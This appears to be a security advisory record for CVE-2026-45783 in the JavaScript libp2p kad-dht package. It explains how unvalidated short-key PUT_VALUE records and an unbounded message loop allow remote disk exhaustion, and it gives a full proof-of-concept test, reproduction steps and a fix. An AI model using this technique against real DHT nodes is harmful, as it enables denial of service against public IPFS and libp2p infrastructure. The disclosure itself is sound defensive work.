{"id":"CVE-2026-45783","aliases":["GHSA-32mq-hpph-xfvr"],"url":"https://o3.security/vulnerability/CVE-2026-45783","summary":"libp2p: Unvalidated PUT_VALUE records allow unbounded disk exhaustion on DHT server nodes","details":"### Summary\nAn unauthenticated remote peer can exhaust the disk storage of any `@libp2p/kad-dht` node running in server mode by sending an unbounded stream of `PUT_VALUE` messages whose keys bypass all content validation. No credentials, no prior relationship, and no protocol deviation beyond a crafted key are required. The victim node's datastore fills until the host disk is exhausted, making the node unavailable.\n\n### Details\nTwo cooperating defects combine to produce the vulnerability.                           \n                                                     \n**Defect 1: `verifyRecord` silent early-return (`packages/kad-dht/src/record/validators.ts:19-21`)**                                                                                                                 \n                                                                                                           \n```typescript                                                                                                                                                                                                         \nexport async function verifyRecord(validators: Validators, record: Libp2pRecord, options?: AbortOptions): Promise<void> {                                                                                             \n  const key = record.key                                                                                   \n  const keyString = uint8ArrayToString(key)   // decode as UTF-8\n  const parts = keyString.split('/')                                                                       \n                                                                                                           \n  if (parts.length < 3) {                                                                                                                                                                                             \n    // No validator available                                                                              \n    return                          // <- silent success; record IS written to datastore\n  }                                                                                                        \n  // ...                                             \n}                                                                                                                                                                                                                     \n```\n\nLegitimate DHT keys (`/pk/<multihash>`, `/ipns/<peerId>`) have exactly 3 slash-delimited parts and are routed to registered validators. Any key whose UTF-8 representation splits into fewer than 3 parts, single-byte keys, or any value without two `/` characters, thus, bypasses validation entirely and is written to the datastore unconditionally. There is no audit log and no error returned to the caller.\n\n**Defect 2: Unbounded RPC message loop (`packages/kad-dht/src/rpc/index.ts:103-152`)**                                                                                                                               \n                                                                                                                                                                                                                      \n```typescript                                                                                              \nlet signal = AbortSignal.timeout(this.incomingMessageTimeout)  // 10 s inactivity timer\nsignal.addEventListener('abort', abortListener)      \nconst messages = pbStream(stream).pb(Message)  // DEFAULT_MAX_DATA_LENGTH = 4 MB\n\nwhile (true) {\n  if (stream.readStatus !== 'readable') { await stream.close({ signal }); break }\n  const message = await messages.read({ signal })\n  await this.handleMessage(connection.remotePeer, message)\n  // ...\n  signal.removeEventListener('abort', abortListener)\n  signal = AbortSignal.timeout(this.incomingMessageTimeout)  // timer RESET each message\n  signal.addEventListener('abort', abortListener)\n}\n```\n\nThe inactivity timeout is reset after **every successfully received message**. There is no per-stream message count limit, no per-peer byte budget, and no rate limiter. An attacker who delivers each message within the 10-second window can stream an unlimited number of messages indefinitely.\n\n**Combined impact**\n\n- `DEFAULT_MAX_DATA_LENGTH = 4 MB` per message (from `@libp2p/utils`)\n- `DEFAULT_MAX_INBOUND_STREAMS = 32` concurrent streams per `kad-dht` instance\n- Attack throughput: 4 MB × unlimited messages × 32 streams\n- Minimum attacker cost: standard libp2p TLS handshake (no authentication beyond that)\n\n**Differential note**: `go-libp2p-kad-dht` enforces `record.Validator.Validate()` per-key at the RPC layer; records with unrecognised namespaces are rejected with an error, not silently stored. This divergence is JS-specific.\n\n### PoC\nThe proof-of-concept is a mocha test checked in alongside the package test suite. It uses an in-memory stream pair, thus, no network traffic, no external connections.\n\n**File**: `packages/kad-dht/test/rpc/poc-put-value-unvalidated.spec.ts`:\n\n```typescript\n/**\n * PoC: kad-dht PUT_VALUE stored without validation for keys with < 3 slash-separated parts\n *\n * Affected: packages/kad-dht/src/record/validators.ts:19-22\n *           packages/kad-dht/src/rpc/handlers/put-value.ts\n *           packages/kad-dht/src/rpc/index.ts (unbounded while loop)\n */\n\n/* eslint-env mocha */\n\nimport assert from 'node:assert'\nimport { start } from '@libp2p/interface'\nimport { defaultLogger } from '@libp2p/logger'\nimport { persistentPeerStore } from '@libp2p/peer-store'\nimport { Libp2pRecord } from '@libp2p/record'\nimport { streamPair } from '@libp2p/utils'\nimport { MemoryDatastore } from 'datastore-core'\nimport * as lp from 'it-length-prefixed'\nimport { TypedEventEmitter } from 'main-event'\nimport pDefer from 'p-defer'\nimport Sinon from 'sinon'\nimport { stubInterface } from 'sinon-ts'\nimport { StreamMessageEvent } from '@libp2p/interface'\nimport { toString as uint8ArrayToString } from 'uint8arrays/to-string'\nimport { Message, MessageType } from '../../src/message/dht.js'\nimport { PeerRouting } from '../../src/peer-routing/index.js'\nimport { Providers } from '../../src/providers.js'\nimport { RoutingTable } from '../../src/routing-table/index.js'\nimport { RPC } from '../../src/rpc/index.js'\nimport { passthroughMapper } from '../../src/utils.js'\nimport { createPeerIdWithPrivateKey } from '../utils/create-peer-id.js'\nimport type { Validators } from '../../src/index.js'\nimport type { RPCComponents } from '../../src/rpc/index.js'\nimport type { Connection, Libp2pEvents } from '@libp2p/interface'\nimport type { AddressManager } from '@libp2p/interface-internal'\nimport type { Datastore } from 'interface-datastore'\n\ndescribe('PoC: PUT_VALUE stores data without validation for short keys', function () {\n  this.timeout(15_000)\n\n  let rpc: RPC\n  let datastore: Datastore\n\n  beforeEach(async () => {\n    const peerId = await createPeerIdWithPrivateKey()\n    datastore = new MemoryDatastore()\n\n    const components: RPCComponents = {\n      peerId: peerId.peerId,\n      datastore,\n      peerStore: stubInterface(),\n      addressManager: stubInterface<AddressManager>(),\n      logger: defaultLogger()\n    }\n    components.peerStore = persistentPeerStore({\n      ...components,\n      events: new TypedEventEmitter<Libp2pEvents>()\n    })\n\n    await start(...Object.values(components))\n\n    // Default validators: only 'pk' and 'ipns' in production.\n    // Empty {} means: any key with ≥3 parts but unknown type throws; any key\n    // with <3 parts silently passes (the bypass under test).\n    const validators: Validators = {}\n\n    rpc = new RPC(components, {\n      routingTable: Sinon.createStubInstance(RoutingTable),\n      providers: Sinon.createStubInstance(Providers),\n      peerRouting: Sinon.createStubInstance(PeerRouting),\n      validators,\n      logPrefix: '',\n      metricsPrefix: '',\n      datastorePrefix: '',\n      peerInfoMapper: passthroughMapper\n    })\n  })\n\n  it('BYPASS: verifyRecord returns early for key with < 3 slash-delimited parts', async () => {\n    // Key bytes that, when decoded as UTF-8, produce a string with only 1 part\n    // when split on '/': [0x01, 0x02, 0x03] → \"\\x01\\x02\\x03\" → length 1 < 3\n    const craftedKey = new Uint8Array([0x01, 0x02, 0x03])\n    const keyStr = uint8ArrayToString(craftedKey)\n    const parts = keyStr.split('/')\n    assert.ok(parts.length < 3,\n      `key produces ${parts.length} parts — expected < 3 for bypass`)\n\n    const PAYLOAD_SIZE = 64 * 1024  // 64 KB — replace with 4 * 1024 * 1024 for full impact\n    const largeValue = new Uint8Array(PAYLOAD_SIZE).fill(0xAB)\n\n    const record = new Libp2pRecord(craftedKey, largeValue, new Date())\n    const encodedRecord = record.serialize()\n\n    const msg: Partial<Message> = {\n      type: MessageType.PUT_VALUE,\n      key: craftedKey,\n      record: encodedRecord\n    }\n\n    // Confirm datastore is empty before the attack\n    const before: string[] = []\n    for await (const { key } of datastore.query({})) {\n      before.push(key.toString())\n    }\n    assert.strictEqual(before.filter(k => k.includes('/record/')).length, 0,\n      'datastore must be empty before attack')\n\n    // Open an in-memory stream pair.\n    // outboundStream = attacker; incomingStream = victim.\n    const [outboundStream, incomingStream] = await streamPair()\n\n    // Wait for the echoed response (PUT_VALUE handler returns the message).\n    // This confirms the victim processed the message before we check the store.\n    const responseReceived = pDefer<void>()\n    outboundStream.addEventListener('message', (evt) => {\n      // LP-decode the response and verify it's our PUT_VALUE echo\n      for (const buf of lp.decode([(evt as StreamMessageEvent).data])) {\n        const response = Message.decode(buf)\n        if (response.type === MessageType.PUT_VALUE) {\n          responseReceived.resolve()\n        }\n      }\n    })\n\n    // Schedule message send after victim starts listening (mirrors existing test pattern)\n    queueMicrotask(() => {\n      outboundStream.send(lp.encode.single(Message.encode(msg)))\n    })\n\n    // Start victim processing — do not await yet\n    const victimDone = rpc.onIncomingStream(\n      incomingStream,\n      stubInterface<Connection>()\n    )\n\n    // Wait until the victim has processed and echoed the message\n    await responseReceived.promise\n\n    // Verify: arbitrary record was stored\n    const after: string[] = []\n    for await (const { key } of datastore.query({})) {\n      after.push(key.toString())\n    }\n    const dhtRecordsAfter = after.filter(k => k.includes('/record/'))\n\n    assert.ok(dhtRecordsAfter.length > 0,\n      'VULNERABILITY CONFIRMED: arbitrary record stored without validation')\n\n    console.log(`\\n[PoC] Datastore key written:  ${dhtRecordsAfter[0]}`)\n    console.log(`[PoC] Bypassed validator with: key=[${Array.from(craftedKey).map(b => `0x${b.toString(16)}`).join(',')}]`)\n    console.log(`[PoC] Payload stored:          ${PAYLOAD_SIZE} bytes (${PAYLOAD_SIZE / 1024} KB)`)\n\n    // Clean up: abort the stream so victimDone resolves\n    incomingStream.abort(new Error('test cleanup'))\n    await victimDone.catch(() => {})\n  })\n\n  it('RATE: N PUT_VALUE writes with different keys grow the datastore unchecked', async () => {\n    const MESSAGES = 8\n    const VALUE_SIZE = 16 * 1024  // 16 KB each\n\n    for (let i = 0; i < MESSAGES; i++) {\n      // Unique key per message → unique datastore entry per write\n      const craftedKey = new Uint8Array([0x10, (i >> 8) & 0xFF, i & 0xFF])\n      const value = new Uint8Array(VALUE_SIZE).fill(i & 0xFF)\n      const record = new Libp2pRecord(craftedKey, value, new Date())\n\n      const msg: Partial<Message> = {\n        type: MessageType.PUT_VALUE,\n        key: craftedKey,\n        record: record.serialize()\n      }\n\n      const [outboundStream, incomingStream] = await streamPair()\n\n      const responseReceived = pDefer<void>()\n      outboundStream.addEventListener('message', () => { responseReceived.resolve() })\n\n      queueMicrotask(() => { outboundStream.send(lp.encode.single(Message.encode(msg))) })\n      const victimDone = rpc.onIncomingStream(incomingStream, stubInterface<Connection>())\n\n      await responseReceived.promise\n      incomingStream.abort(new Error('test cleanup'))\n      await victimDone.catch(() => {})\n    }\n\n    const keys: string[] = []\n    for await (const { key } of datastore.query({})) {\n      keys.push(key.toString())\n    }\n    const dhtRecords = keys.filter(k => k.includes('/record/'))\n\n    assert.strictEqual(dhtRecords.length, MESSAGES,\n      `expected ${MESSAGES} records stored`)\n\n    const totalKB = (MESSAGES * VALUE_SIZE) / 1024\n    console.log(`\\n[PoC] ${MESSAGES} records stored → ${totalKB} KB written`)\n    console.log('[PoC] No per-peer write budget. No per-stream message count limit.')\n    console.log('[PoC] Production impact: 4 MB/msg × N msgs per stream × 32 streams = disk exhaustion.')\n  })\n})\n```\n\n**Steps to reproduce** (tested on commit `15eeedba13846e55e8fc3f9e4c49af18fa185ea4`):\n\n```bash\ngit clone https://github.com/libp2p/js-libp2p.git\ncd js-libp2p\nnpm install\ncd packages/kad-dht\nnpx aegir build\nnode --experimental-vm-modules ../../node_modules/.bin/mocha \\\n  'dist/test/rpc/poc-put-value-unvalidated.spec.js' --timeout 30000\n```\n\n**Expected output**:\n\n```\nPoC: PUT_VALUE stores data without validation for short keys\n\n[PoC] Datastore key written:  /record/aebag\n[PoC] Bypassed validator with: key=[0x1,0x2,0x3]\n[PoC] Payload stored:          65536 bytes (64 KB)\n    ✔ BYPASS: verifyRecord returns early for key with < 3 slash-delimited parts\n\n[PoC] 8 records stored → 128 KB written\n[PoC] No per-peer write budget. No per-stream message count limit.\n[PoC] Production impact: 4 MB/msg × N msgs per stream × 32 streams = disk exhaustion.\n    ✔ RATE: N PUT_VALUE writes with different keys grow the datastore unchecked\n\n2 passing (44ms)\n```\n\n**Test 1** (`BYPASS`) confirms that a single `PUT_VALUE` message with a 3-byte raw key stores a 64 KB payload in the victim's datastore with no validation.\n\n**Test 2** (`RATE`) confirms that N sequential writes with distinct keys each produce a new datastore entry, demonstrating the absence of any write budget or deduplication defence.\n\n### Impact\n**Affected deployments**: any `@libp2p/kad-dht` node in **server mode** (`clientMode: false`). Server mode is the default for nodes with publicly routable addresses; the `kad-dht` module auto-switches to server mode (`kad-dht.ts:340-358`). This includes:\n- IPFS nodes (kubo, Helia, any JS IPFS implementation)\n- libp2p bootstrap nodes\n- Any application exposing a public DHT endpoint\n\n**Not affected**: DHT client-mode nodes, `setMode('client')` calls `registrar.unhandle(this.protocol)` which removes the inbound stream handler entirely.\n\n**Availability (disk)**: attacker fills the victim's datastore partition. A full datastore prevents the victim from writing new DHT records, peer store entries, or any other application data sharing the same datastore backend (common in IPFS nodes using a shared `repo` datastore). Node becomes unavailable.\n\n**No authentication barrier**: the only prerequisite is a successful libp2p connection handshake (TLS). Any publicly reachable node is exposed.\n\n**Suggested minimum fix**:\nChange the silent early-return to a hard rejection:\n                                                                                                           \n```diff\n-  if (parts.length < 3) {\n-    // No validator available\n-    return\n-  }\n+  if (parts.length < 3) {\n+    throw new InvalidParametersError(`Record key has no recognisable namespace: refusing to store`)\n+  }\n```","published":"2026-06-10T21:09:40.499Z","modified":"2026-08-12T03:51:15.300690055Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.00354,"percentile":0.28055,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@libp2p/kad-dht","fixedVersion":"16.2.6"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45783.json"},{"type":"ADVISORY","url":"https://github.com/libp2p/js-libp2p/security/advisories/GHSA-32mq-hpph-xfvr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45783"},{"type":"PACKAGE","url":"https://github.com/libp2p/js-libp2p"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:15.300690055Z"}}